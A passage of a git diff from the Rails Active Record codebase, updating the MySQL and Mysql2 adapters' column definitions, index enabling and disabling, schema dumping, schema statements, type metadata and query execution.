-          args.each { |name| column(name, :mediumtext, options) }
-        end
+        ##
+        # :method: mediumtext
+        # :call-seq: mediumtext(*names, **options)
 
-        def longtext(*args, **options)
-          args.each { |name| column(name, :longtext, options) }
-        end
+        ##
+        # :method: longtext
+        # :call-seq: longtext(*names, **options)
 
-        def json(*args, **options)
-          args.each { |name| column(name, :json, options) }
-        end
+        ##
+        # :method: unsigned_integer
+        # :call-seq: unsigned_integer(*names, **options)
 
-        def unsigned_integer(*args, **options)
-          args.each { |name| column(name, :unsigned_integer, options) }
-        end
+        ##
+        # :method: unsigned_bigint
+        # :call-seq: unsigned_bigint(*names, **options)
 
-        def unsigned_bigint(*args, **options)
-          args.each { |name| column(name, :unsigned_bigint, options) }
+        define_column_methods :blob, :tinyblob, :mediumblob, :longblob,
+          :tinytext, :mediumtext, :longtext, :unsigned_integer, :unsigned_bigint
+      end
+
+      # = Active Record MySQL Adapter \Index Definition
+      class IndexDefinition < ActiveRecord::ConnectionAdapters::IndexDefinition # :nodoc:
+        attr_accessor :enabled
+
+        def initialize(*args, **kwargs)
+          @enabled = kwargs.key?(:enabled) ? kwargs.delete(:enabled) : true
+          super
         end
 
-        def unsigned_float(*args, **options)
-          args.each { |name| column(name, :unsigned_float, options) }
+        def defined_for?(columns = nil, name: nil, unique: nil, valid: nil, include: nil, nulls_not_distinct: nil, enabled: nil, **options)
+          super(columns, name:, unique:, valid:, include:, nulls_not_distinct:, **options) &&
+            (enabled.nil? || self.enabled == enabled)
         end
 
-        def unsigned_decimal(*args, **options)
-          args.each { |name| column(name, :unsigned_decimal, options) }
+        def disabled?
+          !@enabled
         end
       end
 
+      # = Active Record MySQL Adapter \Table Definition
       class TableDefinition < ActiveRecord::ConnectionAdapters::TableDefinition
         include ColumnMethods
 
+        attr_reader :charset, :collation
+
+        def initialize(conn, name, charset: nil, collation: nil, **)
+          super
+          @charset = charset
+          @collation = collation
+        end
+
         def new_column_definition(name, type, **options) # :nodoc:
           case type
           when :virtual
@@ -66,7 +85,6 @@ def new_column_definition(name, type, **options) # :nodoc:
           when :primary_key
             type = :integer
             options[:limit] ||= 8
-            options[:auto_increment] = true
             options[:primary_key] = true
           when /\Aunsigned_(?<type>.+)\z/
             type = $~[:type].to_sym
@@ -75,10 +93,50 @@ def new_column_definition(name, type, **options) # :nodoc:
 
           super
         end
+
+        private
+          def valid_column_definition_options
+            super + [:auto_increment, :charset, :as, :size, :unsigned, :first, :after, :type, :stored]
+          end
+
+          def aliased_types(name, fallback)
+            fallback
+          end
+
+          def integer_like_primary_key_type(type, options)
+            unless options[:auto_increment] == false
+              options[:auto_increment] = true
+            end
+
+            type
+          end
       end
 
+      # = Active Record MySQL Adapter \Table
       class Table < ActiveRecord::ConnectionAdapters::Table
         include ColumnMethods
+
+        # Enables an index to be used by query optimizers.
+        #
+        #   t.enable_index(:email)
+        #
+        # Note: only supported by MySQL version 8.0.0 and greater, and MariaDB version 10.6.0 and greater.
+        #
+        # See {connection.enable_index}[rdoc-ref:SchemaStatements#enable_index]
+        def enable_index(index_name)
+          @base.enable_index(name, index_name)
+        end
+
+        # Disables an index not to be used by query optimizers.
+        #
+        #   t.disable_index(:email)
+        #
+        # Note: only supported by MySQL version 8.0.0 and greater, and MariaDB version 10.6.0 and greater.
+        #
+        # See {connection.disable_index}[rdoc-ref:SchemaStatements#disable_index]
+        def disable_index(index_name)
+          @base.disable_index(name, index_name)
+        end
       end
     end
   end
diff --git a/activerecord/lib/active_record/connection_adapters/mysql/schema_dumper.rb b/activerecord/lib/active_record/connection_adapters/mysql/schema_dumper.rb
index ad4a069d73cca..1229cc040c7fa 100644
--- a/activerecord/lib/active_record/connection_adapters/mysql/schema_dumper.rb
+++ b/activerecord/lib/active_record/connection_adapters/mysql/schema_dumper.rb
@@ -1,25 +1,33 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module ConnectionAdapters
     module MySQL
-      module ColumnDumper # :nodoc:
-        def prepare_column_options(column)
-          spec = super
-          spec[:unsigned] = "true" if column.unsigned?
+      class SchemaDumper < ConnectionAdapters::SchemaDumper # :nodoc:
+        private
+          def prepare_column_options(column)
+            spec = super
+            spec[:unsigned] = "true" if column.unsigned?
+            spec[:auto_increment] = "true" if column.auto_increment?
 
-          if supports_virtual_columns? && column.virtual?
-            spec[:as] = extract_expression_for_virtual_column(column)
-            spec[:stored] = "true" if /\b(?:STORED|PERSISTENT)\b/.match?(column.extra)
-            spec = { type: schema_type(column).inspect }.merge!(spec)
-          end
+            if /\A(?<size>tiny|medium|long)(?:text|blob)/ =~ column.sql_type
+              spec = { size: size.to_sym.inspect }.merge!(spec)
+            end
 
-          spec
-        end
+            if @connection.supports_virtual_columns? && column.virtual?
+              spec[:as] = extract_expression_for_virtual_column(column)
+              spec[:stored] = "true" if /\b(?:STORED|PERSISTENT)\b/.match?(column.extra)
+              spec = { type: schema_type(column).inspect }.merge!(spec)
+            end
 
-        def migration_keys
-          super + [:unsigned]
-        end
+            spec
+          end
 
-        private
+          def column_spec_for_primary_key(column)
+            spec = super
+            spec.delete(:auto_increment) if column.type == :integer && column.auto_increment?
+            spec
+          end
 
           def default_primary_key?(column)
             super && column.auto_increment? && !column.unsigned?
@@ -30,37 +38,57 @@ def explicit_primary_key_default?(column)
           end
 
           def schema_type(column)
-            if column.sql_type == "tinyblob"
-              :blob
+            case column.sql_type
+            when /\Atimestamp\b/
+              :timestamp
+            when /\A(?:enum|set)\b/
+              column.sql_type
             else
               super
             end
           end
 
+          def schema_limit(column)
+            super unless /\A(?:tiny|medium|long)?(?:text|blob)\b/.match?(column.sql_type)
+          end
+
           def schema_precision(column)
-            super unless /time/.match?(column.sql_type) && column.precision == 0
+            if /\Atime(?:stamp)?\b/.match?(column.sql_type) && column.precision == 0
+              nil
+            elsif column.type == :datetime
+              column.precision == 0 ? "nil" : super
+            else
+              super
+            end
           end
 
           def schema_collation(column)
-            if column.collation && table_name = column.table_name
+            if column.collation
               @table_collation_cache ||= {}
-              @table_collation_cache[table_name] ||= select_one("SHOW TABLE STATUS LIKE '#{table_name}'")["Collation"]
+              @table_collation_cache[table_name] ||=
+                @connection.query_one("SHOW TABLE STATUS LIKE #{@connection.quote(table_name)}")["Collation"]
               column.collation.inspect if column.collation != @table_collation_cache[table_name]
             end
           end
 
           def extract_expression_for_virtual_column(column)
-            if mariadb?
-              create_table_info = create_table_info(column.table_name)
-              if %r/#{quote_column_name(column.name)} #{Regexp.quote(column.sql_type)} AS \((?<expression>.+?)\) #{column.extra}/m =~ create_table_info
+            if @connection.mariadb? && @connection.database_version < "10.2.5"
+              create_table_info = @connection.send(:create_table_info, table_name)
+              column_name = @connection.quote_column_name(column.name)
+              if %r/#{column_name} #{Regexp.quote(column.sql_type)}(?: COLLATE \w+)? AS \((?<expression>.+?)\) #{column.extra}/ =~ create_table_info
                 $~[:expression].inspect
               end
             else
+              scope = @connection.send(:quoted_scope, table_name)
+              column_name = @connection.quote(column.name)
               sql = "SELECT generation_expression FROM information_schema.columns" \
-                    " WHERE table_schema = #{quote(@config[:database])}" \
-                    "   AND table_name = #{quote(column.table_name)}" \
-                    "   AND column_name = #{quote(column.name)}"
-              select_value(sql, "SCHEMA").inspect
+                    " WHERE table_schema = #{scope[:schema]}" \
+                    "   AND table_name = #{scope[:name]}" \
+                    "   AND column_name = #{column_name}"
+              # Calling .inspect leads into issues with the query result
+              # which already returns escaped quotes.
+              # We remove the escape sequence from the result in order to deal with double escaping issues.
+              @connection.query_value(sql).gsub("\\'", "'").inspect
             end
           end
       end
diff --git a/activerecord/lib/active_record/connection_adapters/mysql/schema_statements.rb b/activerecord/lib/active_record/connection_adapters/mysql/schema_statements.rb
new file mode 100644
index 0000000000000..fb11541ddd91c
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/mysql/schema_statements.rb
@@ -0,0 +1,329 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module MySQL
+      module SchemaStatements # :nodoc:
+        # Returns an array of indexes for the given table.
+        def indexes(table_name)
+          indexes = []
+          current_index = nil
+          query_all("SHOW KEYS FROM #{quote_table_name(table_name)}").each do |row|
+            if current_index != row["Key_name"]
+              next if row["Key_name"] == "PRIMARY" # skip the primary key
+              current_index = row["Key_name"]
+
+              mysql_index_type = row["Index_type"].downcase.to_sym
+              case mysql_index_type
+              when :fulltext, :spatial
+                index_type = mysql_index_type
+              when :btree, :hash
+                index_using = mysql_index_type
+              end
+
+              index = [
+                row["Table"],
+                row["Key_name"],
+                row["Non_unique"].to_i == 0,
+                [],
+                lengths: {},
+                orders: {},
+                type: index_type,
+                using: index_using,
+                comment: row["Index_comment"].presence,
+              ]
+
+              if supports_disabling_indexes?
+                index[-1][:enabled] = mariadb? ? row["Ignored"] == "NO" : row["Visible"] == "YES"
+              end
+
+              indexes << index
+            end
+
+            if expression = row["Expression"]
+              expression = expression.gsub("\\'", "'")
+              expression = +"(#{expression})" unless expression.start_with?("(")
+              indexes.last[-2] << expression
+              indexes.last[-1][:expressions] ||= {}
+              indexes.last[-1][:expressions][expression] = expression
+              indexes.last[-1][:orders][expression] = :desc if row["Collation"] == "D"
+            else
+              indexes.last[-2] << row["Column_name"]
+              indexes.last[-1][:lengths][row["Column_name"]] = row["Sub_part"].to_i if row["Sub_part"]
+              indexes.last[-1][:orders][row["Column_name"]] = :desc if row["Collation"] == "D"
+            end
+          end
+
+          indexes.map do |index|
+            options = index.pop
+
+            if expressions = options.delete(:expressions)
+              orders = options.delete(:orders)
+              lengths = options.delete(:lengths)
+
+              columns = index[-1].to_h { |name|
+                [ name.to_sym, expressions[name] || +quote_column_name(name) ]
+              }
+
+              index[-1] = add_options_for_index_columns(
+                columns, order: orders, length: lengths
+              ).values.join(", ")
+            end
+            MySQL::IndexDefinition.new(*index, **options)
+          end
+        rescue StatementInvalid => e
+          if e.message.match?(/Table '.+' doesn't exist/)
+            []
+          else
+            raise
+          end
+        end
+
+        def create_index_definition(table_name, name, unique, columns, **options)
+          MySQL::IndexDefinition.new(table_name, name, unique, columns, **options)
+        end
+
+        def add_index_options(table_name, column_name, name: nil, if_not_exists: false, internal: false, **options) # :nodoc:
+          index, algorithm, if_not_exists = super
+          index.enabled = options[:enabled] unless options[:enabled].nil?
+          [index, algorithm, if_not_exists]
+        end
+
+        def remove_column(table_name, column_name, type = nil, **options)
+          if foreign_key_exists?(table_name, column: column_name)
+            remove_foreign_key(table_name, column: column_name)
+          end
+          super
+        end
+
+        def create_table(table_name, options: default_row_format, **)
+          super
+        end
+
+        def remove_foreign_key(from_table, to_table = nil, **options)
+          # RESTRICT is by default in MySQL.
+          options.delete(:on_update) if options[:on_update] == :restrict
+          options.delete(:on_delete) if options[:on_delete] == :restrict
+          super
+        end
+
+        def internal_string_options_for_primary_key
+          super.tap do |options|
+            if !row_format_dynamic_by_default? && CHARSETS_OF_4BYTES_MAXLEN.include?(charset)
+              options[:collation] = collation.sub(/\A[^_]+/, "utf8")
+            end
+          end
+        end
+
+        def update_table_definition(table_name, base)
+          MySQL::Table.new(table_name, base)
+        end
+
+        def create_schema_dumper(options)
+          MySQL::SchemaDumper.create(self, options)
+        end
+
+        # Maps logical Rails types to MySQL-specific data types.
+        def type_to_sql(type, limit: nil, precision: nil, scale: nil, size: limit_to_size(limit, type), unsigned: nil, **)
+          sql =
+            case type.to_s
+            when "integer"
+              integer_to_sql(limit)
+            when "text"
+              type_with_size_to_sql("text", size)
+            when "blob"
+              type_with_size_to_sql("blob", size)
+            when "binary"
+              if (0..0xfff) === limit
+                "varbinary(#{limit})"
+              else
+                type_with_size_to_sql("blob", size)
+              end
+            else
+              super
+            end
+
+          sql = "#{sql} unsigned" if unsigned && type != :primary_key
+          sql
+        end
+
+        def table_alias_length
+          256 # https://dev.mysql.com/doc/refman/en/identifiers.html
+        end
+
+        def schema_creation # :nodoc:
+          MySQL::SchemaCreation.new(self)
+        end
+
+        private
+          CHARSETS_OF_4BYTES_MAXLEN = ["utf8mb4", "utf16", "utf16le", "utf32"]
+
+          def row_format_dynamic_by_default?
+            if mariadb?
+              database_version >= "10.2.2"
+            else
+              database_version >= "5.7.9"
+            end
+          end
+
+          def default_row_format
+            return if row_format_dynamic_by_default?
+
+            unless defined?(@default_row_format)
+              if query_value("SELECT @@innodb_file_per_table = 1 AND @@innodb_file_format = 'Barracuda'") == 1
+                @default_row_format = "ROW_FORMAT=DYNAMIC"
+              else
+                @default_row_format = nil
+              end
+            end
+
+            @default_row_format
+          end
+
+          def valid_primary_key_options
+            super + [:unsigned, :auto_increment]
+          end
+
+          def create_table_definition(name, **options)
+            MySQL::TableDefinition.new(self, name, **options)
+          end
+
+          def default_type(table_name, field_name)
+            match = create_table_info(table_name)&.match(/`#{field_name}` (.+) DEFAULT ('|\d+|[A-z]+)/)
+            default_pre = match[2] if match
+
+            if default_pre == "'"
+              :string
+            elsif default_pre&.match?(/^\d+$/)
+              :integer
+            elsif default_pre&.match?(/^[A-z]+$/)
+              :function
+            end
+          end
+
+          def new_column_from_field(table_name, field, _definitions)
+            field_name = field.fetch("Field")
+            type_metadata = fetch_type_metadata(field["Type"], field["Extra"])
+            default, default_function = field["Default"], nil
+
+            if type_metadata.type == :datetime && /\ACURRENT_TIMESTAMP(?:\([0-6]?\))?\z/i.match?(default)
+              default = "#{default} ON UPDATE #{default}" if /on update CURRENT_TIMESTAMP/i.match?(field["Extra"])
+              default, default_function = nil, default
+            elsif type_metadata.extra == "DEFAULT_GENERATED"
+              default = +"(#{default})" unless default.start_with?("(")
+              default = default.gsub("\\'", "'")
+              default, default_function = nil, default
+            elsif type_metadata.type == :text && default&.start_with?("'")
+              # strip and unescape quotes
+              default = default[1...-1].gsub("\\'", "'")
+            elsif default&.match?(/\A\d/)
+              # Its a number so we can skip the query to check if it is a function
+            elsif default && default_type(table_name, field_name) == :function
+              default, default_function = nil, default
+            end
+
+            MySQL::Column.new(
+              field["Field"],
+              lookup_cast_type(type_metadata.sql_type),
+              default,
+              type_metadata,
+              field["Null"] == "YES",
+              default_function,
+              collation: field["Collation"],
+              comment: field["Comment"].presence
+            )
+          end
+
+          def fetch_type_metadata(sql_type, extra = "")
+            MySQL::TypeMetadata.new(super(sql_type), extra: extra)
+          end
+
+          def extract_foreign_key_action(specifier)
+            super unless specifier == "RESTRICT"
+          end
+
+          def add_index_length(quoted_columns, **options)
+            lengths = options_for_index_columns(options[:length])
+            quoted_columns.each do |name, column|
+              column << "(#{lengths[name]})" if lengths[name].present?
+            end
+          end
+
+          def valid_index_options
+            index_options = super
+            index_options << :enabled if supports_disabling_indexes?
+            index_options
+          end
+
+          def add_options_for_index_columns(quoted_columns, **options)
+            quoted_columns = add_index_length(quoted_columns, **options)
+            super
+          end
+
+          def data_source_sql(name = nil, type: nil)
+            scope = quoted_scope(name, type: type)
+
+            sql = +"SELECT table_name FROM information_schema.tables"
+            sql << " WHERE table_schema = #{scope[:schema]}"
+
+            if scope[:name]
+              sql << " AND table_name = #{scope[:name]}"
+              sql << " AND table_name IN (SELECT table_name FROM information_schema.tables WHERE table_schema = #{scope[:schema]})"
+            end
+
+            sql << " AND table_type = #{scope[:type]}" if scope[:type]
+            sql
+          end
+
+          def quoted_scope(name = nil, type: nil)
+            schema, name = extract_schema_qualified_name(name)
+            scope = {}
+            scope[:schema] = schema ? quote(schema) : "database()"
+            scope[:name] = quote(name) if name
+            scope[:type] = quote(type) if type
+            scope
+          end
+
+          def extract_schema_qualified_name(string)
+            schema, name = string.to_s.scan(/[^`.\s]+|`[^`]*`/)
+            schema, name = nil, schema unless name
+            [schema, name]
+          end
+
+          def type_with_size_to_sql(type, size)
+            case size&.to_s
+            when nil, "tiny", "medium", "long"
+              "#{size}#{type}"
+            else
+              raise ArgumentError,
+                "#{size.inspect} is invalid :size value. Only :tiny, :medium, and :long are allowed."
+            end
+          end
+
+          def limit_to_size(limit, type)
+            case type.to_s
+            when "text", "blob", "binary"
+              case limit
+              when 0..0xff;               "tiny"
+              when nil, 0x100..0xffff;    nil
+              when 0x10000..0xffffff;     "medium"
+              when 0x1000000..0xffffffff; "long"
+              else raise ArgumentError, "No #{type} type has byte size #{limit}"
+              end
+            end
+          end
+
+          def integer_to_sql(limit)
+            case limit
+            when 1; "tinyint"
+            when 2; "smallint"
+            when 3; "mediumint"
+            when nil, 4; "int"
+            when 5..8; "bigint"
+            else raise ArgumentError, "No integer type has byte size #{limit}. Use a decimal with scale 0 instead."
+            end
+          end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/mysql/type_metadata.rb b/activerecord/lib/active_record/connection_adapters/mysql/type_metadata.rb
index 24dcf852e11f0..573b8f5a2b7b8 100644
--- a/activerecord/lib/active_record/connection_adapters/mysql/type_metadata.rb
+++ b/activerecord/lib/active_record/connection_adapters/mysql/type_metadata.rb
@@ -1,29 +1,38 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module ConnectionAdapters
     module MySQL
-      class TypeMetadata < DelegateClass(SqlTypeMetadata) # :nodoc:
+      class TypeMetadata < ActiveSupport::Delegation::DelegateClass(SqlTypeMetadata) # :nodoc:
+        undef to_yaml if method_defined?(:to_yaml)
+
+        include Deduplicable
+
         attr_reader :extra
 
-        def initialize(type_metadata, extra: "")
+        def initialize(type_metadata, extra: nil)
           super(type_metadata)
-          @type_metadata = type_metadata
           @extra = extra
         end
 
         def ==(other)
-          other.is_a?(MySQL::TypeMetadata) &&
-            attributes_for_hash == other.attributes_for_hash
+          other.is_a?(TypeMetadata) &&
+            __getobj__ == other.__getobj__ &&
+            extra == other.extra
         end
         alias eql? ==
 
         def hash
-          attributes_for_hash.hash
+          TypeMetadata.hash ^
+            __getobj__.hash ^
+            extra.hash
         end
 
-        protected
-
-          def attributes_for_hash
-            [self.class, @type_metadata, extra]
+        private
+          def deduplicated
+            __setobj__(__getobj__.deduplicate)
+            @extra = -extra if extra
+            super
           end
       end
     end
diff --git a/activerecord/lib/active_record/connection_adapters/mysql2/database_statements.rb b/activerecord/lib/active_record/connection_adapters/mysql2/database_statements.rb
new file mode 100644
index 0000000000000..90dcf1d94c27b
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/mysql2/database_statements.rb
@@ -0,0 +1,159 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module Mysql2
+      module DatabaseStatements
+        # Returns an ActiveRecord::Result instance.
+        def select_all(*, **) # :nodoc:
+          if ExplainRegistry.collect? && prepared_statements
+            unprepared_statement { super }
+          else
+            super
+          end
+        end
+
+        def execute_batch(statements, name = nil, **kwargs) # :nodoc:
+          combine_multi_statements(statements).each do |statement|
+            intent = QueryIntent.new(
+              adapter: self,
+              processed_sql: statement,
+              name: name,
+              batch: true,
+              binds: kwargs[:binds] || [],
+              prepare: kwargs[:prepare] || false,
+              allow_async: kwargs[:async] || false,
+              allow_retry: kwargs[:allow_retry] || false,
+              materialize_transactions: kwargs[:materialize_transactions] != false
+            )
+            intent.execute!
+            intent.finish
+          end
+        end
+
+        private
+          def last_inserted_id(result)
+            if supports_insert_returning?
+              super
+            else
+              @raw_connection&.last_id
+            end
+          end
+
+          def multi_statements_enabled?
+            flags = @config[:flags]
+
+            if flags.is_a?(Array)
+              flags.include?("MULTI_STATEMENTS")
+            else
+              flags.anybits?(::Mysql2::Client::MULTI_STATEMENTS)
+            end
+          end
+
+          def perform_query(raw_connection, intent)
+            reset_multi_statement = if intent.batch && !multi_statements_enabled?
+              raw_connection.set_server_option(::Mysql2::Client::OPTION_MULTI_STATEMENTS_ON)
+              true
+            end
+
+            # Make sure we carry over any changes to ActiveRecord.default_timezone that have been
+            # made since we established the connection
+            raw_connection.query_options[:database_timezone] = default_timezone
+
+            result = nil
+            if !intent.has_binds?
+              result = raw_connection.query(intent.processed_sql)
+              # Ref: https://github.com/brianmario/mysql2/pull/1383
+              # As of mysql2 0.5.6 `#affected_rows` might raise Mysql2::Error if a prepared statement
+              # from that same connection was GCed while `#query` released the GVL.
+              # By avoiding to call `#affected_rows` when we have a result, we reduce the likeliness
+              # of hitting the bug.
+              @affected_rows_before_warnings = result&.size || raw_connection.affected_rows
+            elsif intent.prepare
+              retry_count = 1
+              begin
+                stmt = @statements[intent.processed_sql] ||= raw_connection.prepare(intent.processed_sql)
+                result = stmt.execute(*intent.type_casted_binds)
+                @affected_rows_before_warnings = stmt.affected_rows
+              rescue ::Mysql2::Error => error
+                @statements.delete(intent.processed_sql)
+                # Sometimes for an unknown reason, we get that error.
+                # It suggest somehow that the prepared statement was deallocated
+                # but the client doesn't know it.
+                # But we know that this error is safe to retry, so we do so after
+                # getting rid of the originally cached statement.
+                if error.error_number == Mysql2Adapter::ER_UNKNOWN_STMT_HANDLER
+                  if retry_count.positive?
+                    retry_count -= 1
+                    retry
+                  end
+                end
+                raise
+              end
+            else
+              stmt = raw_connection.prepare(intent.processed_sql)
+
+              begin
+                result = stmt.execute(*intent.type_casted_binds)
+                @affected_rows_before_warnings = stmt.affected_rows
+
+                # Ref: https://github.com/brianmario/mysql2/pull/1383
+                # by eagerly closing uncached prepared statements, we also reduce the chances of
+                # that bug happening. It can still happen if `#execute` is used as we have no callback
+                # to eagerly close the statement.
+                if result
+                  result.instance_variable_set(:@_ar_stmt_to_close, stmt)
+                else
+                  stmt.close
+                end
+              rescue ::Mysql2::Error
+                stmt.close
+                raise
+              end
+            end
+
+            intent.notification_payload[:affected_rows] = @affected_rows_before_warnings
+            intent.notification_payload[:row_count] = result&.size || 0
+
+            raw_connection.abandon_results!
+
+            verified!
+            result
+          ensure
+            if reset_multi_statement && active?
+              raw_connection.set_server_option(::Mysql2::Client::OPTION_MULTI_STATEMENTS_OFF)
+            end
+          end
+
+          def cast_result(raw_result)
+            return ActiveRecord::Result.empty(affected_rows: @affected_rows_before_warnings) if raw_result.nil?
+
+            fields = raw_result.fields
+
+            result = if fields.empty?
+              ActiveRecord::Result.empty(affected_rows: @affected_rows_before_warnings)
+            else
+              ActiveRecord::Result.new(fields, raw_result.to_a)
+            end
+
+            free_raw_result(raw_result)
+
+            result
+          end
+
+          def affected_rows(raw_result)
+            free_raw_result(raw_result) if raw_result
+
+            @affected_rows_before_warnings
+          end
+
+          def free_raw_result(raw_result)
+            raw_result.free
+            if stmt = raw_result.instance_variable_get(:@_ar_stmt_to_close)
+              stmt.close
+            end
+          end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb b/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb
index 45e400b75b0d3..e3d4a87843dd5 100644
--- a/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb
@@ -1,50 +1,75 @@
+# frozen_string_literal: true
+
 require "active_record/connection_adapters/abstract_mysql_adapter"
-require "active_record/connection_adapters/mysql/database_statements"
+require "active_record/connection_adapters/mysql2/database_statements"
 
-gem "mysql2", ">= 0.3.18", "< 0.5"
+gem "mysql2", "~> 0.5"
 require "mysql2"
-raise "mysql2 0.4.3 is not supported. Please upgrade to 0.4.4+" if Mysql2::VERSION == "0.4.3"
 
 module ActiveRecord
-  module ConnectionHandling # :nodoc:
-    # Establishes a connection to the database that's used by all Active Record objects.
-    def mysql2_connection(config)
-      config = config.symbolize_keys
-
-      config[:username] = "root" if config[:username].nil?
-      config[:flags] ||= 0
-
-      if config[:flags].kind_of? Array
-        config[:flags].push "FOUND_ROWS".freeze
-      else
-        config[:flags] |= Mysql2::Client::FOUND_ROWS
-      end
-
-      client = Mysql2::Client.new(config)
-      ConnectionAdapters::Mysql2Adapter.new(client, logger, nil, config)
-    rescue Mysql2::Error => error
-      if error.message.include?("Unknown database")
-        raise ActiveRecord::NoDatabaseError
-      else
-        raise
-      end
-    end
-  end
-
   module ConnectionAdapters
+    # = Active Record MySQL2 Adapter
     class Mysql2Adapter < AbstractMysqlAdapter
-      ADAPTER_NAME = "Mysql2".freeze
+      ER_BAD_DB_ERROR           = 1049
+      ER_DBACCESS_DENIED_ERROR  = 1044
+      ER_ACCESS_DENIED_ERROR    = 1045
+      ER_UNKNOWN_STMT_HANDLER   = 1243
+      ER_CONN_HOST_ERROR        = 2003
+      ER_UNKNOWN_HOST_ERROR     = 2005
+
+      ADAPTER_NAME = "Mysql2"
+
+      include Mysql2::DatabaseStatements
+
+      class << self
+        def new_client(config)
+          ::Mysql2::Client.new(config)
+        rescue ::Mysql2::Error => error
+          case error.error_number
+          when ER_BAD_DB_ERROR
+            raise ActiveRecord::NoDatabaseError.db_error(config[:database])
+          when ER_DBACCESS_DENIED_ERROR, ER_ACCESS_DENIED_ERROR
+            raise ActiveRecord::DatabaseConnectionError.username_error(config[:username])
+          when ER_CONN_HOST_ERROR, ER_UNKNOWN_HOST_ERROR
+            raise ActiveRecord::DatabaseConnectionError.hostname_error(config[:host])
+          else
+            raise ActiveRecord::ConnectionNotEstablished, error.message
+          end
+        end
+
+        private
+          def initialize_type_map(m)
+            super
 
-      include MySQL::DatabaseStatements
+            m.register_type(%r(char)i) do |sql_type|
+              limit = extract_limit(sql_type)
+              Type.lookup(:string, adapter: :mysql2, limit: limit)
+            end
 
-      def initialize(connection, logger, connection_options, config)
+            m.register_type %r(^enum)i, Type.lookup(:string, adapter: :mysql2)
+            m.register_type %r(^set)i,  Type.lookup(:string, adapter: :mysql2)
+          end
+      end
+
+      TYPE_MAP = Type::TypeMap.new.tap { |m| initialize_type_map(m) }
+
+      def initialize(...)
         super
-        @prepared_statements = false unless config.key?(:prepared_statements)
-        configure_connection
+
+        @affected_rows_before_warnings = nil
+        @config[:flags] ||= 0
+
+        if @config[:flags].kind_of? Array
+          @config[:flags].push "FOUND_ROWS"
+        else
+          @config[:flags] |= ::Mysql2::Client::FOUND_ROWS
+        end
+
+        @connection_parameters ||= @config
       end
 
       def supports_json?
-        !mariadb? && version >= "5.7.8"
+        !mariadb? && database_version >= "5.7.8"
       end
 
       def supports_comments?
@@ -59,16 +84,12 @@ def supports_savepoints?
         true
       end
 
-      # HELPER METHODS ===========================================
+      def savepoint_errors_invalidate_transactions?
+        true
+      end
 
-      def each_hash(result) # :nodoc:
-        if block_given?
-          result.each(as: :hash, symbolize_keys: true) do |row|
-            yield row
-          end
-        else
-          to_enum(:each_hash, result)
-        end
+      def supports_lazy_transactions?
+        true
       end
 
       def error_number(exception)
@@ -76,50 +97,106 @@ def error_number(exception)
       end
 
       #--
-      # QUOTING ==================================================
+      # CONNECTION MANAGEMENT ====================================
       #++
 
-      def quote_string(string)
-        @connection.escape(string)
+      def connected?
+        !(@raw_connection.nil? || @raw_connection.closed?)
       end
 
-      #--
-      # CONNECTION MANAGEMENT ====================================
-      #++
-
       def active?
-        @connection.ping
+        if connected?
+          @lock.synchronize do
+            if @raw_connection&.ping
+              verified!
+              true
+            end
+          end
+        end || false
       end
 
-      def reconnect!
-        super
-        disconnect!
-        connect
-      end
       alias :reset! :reconnect!
 
       # Disconnects from the database if already connected.
       # Otherwise, this method does nothing.
       def disconnect!
-        super
-        @connection.close
+        @lock.synchronize do
+          super
+          @raw_connection&.close
+          @raw_connection = nil
+        end
+      end
+
+      def discard! # :nodoc:
+        @lock.synchronize do
+          super
+          @raw_connection&.automatic_close = false
+          @raw_connection = nil
+        end
       end
 
       private
+        def text_type?(type)
+          TYPE_MAP.lookup(type).is_a?(Type::String) || TYPE_MAP.lookup(type).is_a?(Type::Text)
+        end
 
         def connect
-          @connection = Mysql2::Client.new(@config)
-          configure_connection
+          @raw_connection = self.class.new_client(@connection_parameters)
+        rescue ConnectionNotEstablished => ex
+          raise ex.set_pool(@pool)
+        end
+
+        def reconnect
+          @lock.synchronize do
+            @raw_connection&.close
+            @raw_connection = nil
+            connect
+          end
         end
 
         def configure_connection
-          @connection.query_options.merge!(as: :array)
+          @raw_connection.query_options[:as] = :array
+          @raw_connection.query_options[:database_timezone] = default_timezone
           super
         end
 
         def full_version
-          @full_version ||= @connection.server_info[:version]
+          database_version.full_version_string
+        end
+
+        def get_full_version
+          any_raw_connection.server_info[:version]
+        end
+
+        def translate_exception(exception, message:, sql:, binds:)
+          if exception.is_a?(::Mysql2::Error::TimeoutError) && !exception.error_number
+            ActiveRecord::AdapterTimeout.new(message, sql: sql, binds: binds, connection_pool: @pool)
+          elsif exception.is_a?(::Mysql2::Error::ConnectionError)
+            if exception.message.match?(/MySQL client is not connected/i)
+              ActiveRecord::ConnectionNotEstablished.new(exception, connection_pool: @pool)
+            else
+              ActiveRecord::ConnectionFailed.new(message, sql: sql, binds: binds, connection_pool: @pool)
+            end
+          else
+            super
+          end
+        end
+
+        def default_prepared_statements
+          false
+        end
+
+        ActiveRecord::Type.register(:immutable_string, adapter: :mysql2) do |_, **args|
+          Type::ImmutableString.new(true: "1", false: "0", **args)
         end
+
+        ActiveRecord::Type.register(:string, adapter: :mysql2) do |_, **args|
+          Type::String.new(true: "1", false: "0", **args)
+        end
+
+        ActiveRecord::Type.register(:unsigned_integer, Type::UnsignedInteger, adapter: :mysql2)
     end
+
+    ActiveSupport.run_load_hooks(:active_record_mysql2adapter, Mysql2Adapter)
   end
 end
diff --git a/activerecord/lib/active_record/connection_adapters/pool_config.rb b/activerecord/lib/active_record/connection_adapters/pool_config.rb
new file mode 100644
index 0000000000000..ee5f34f6501e4
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/pool_config.rb
@@ -0,0 +1,83 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    class PoolConfig # :nodoc:
+      include MonitorMixin
+
+      attr_reader :db_config, :role, :shard, :connection_descriptor
+      attr_writer :schema_reflection, :server_version
+
+      def schema_reflection
